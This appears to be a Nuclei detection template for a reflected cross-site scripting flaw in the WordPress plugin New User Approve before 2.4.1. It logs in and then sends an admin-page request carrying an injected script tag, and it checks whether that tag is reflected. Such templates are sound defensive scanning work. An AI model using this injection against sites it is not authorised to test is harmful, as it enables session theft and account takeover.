id: new-user-approve-xss

info:
  name: New User Approve < 2.4.1 - Reflected Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: The plugin does not escape some URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/17f99601-f5c9-4300-9b4a-6d75fa7ab94a
    - https://wordpress.org/plugins/new-user-approve
  metadata:
    verified: true
  tags: wp,wordpress,xss,authenticated,wp-plugin

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/index.php?a%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '?a"><script>alert(1)</script>&new-user-approve-settings'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200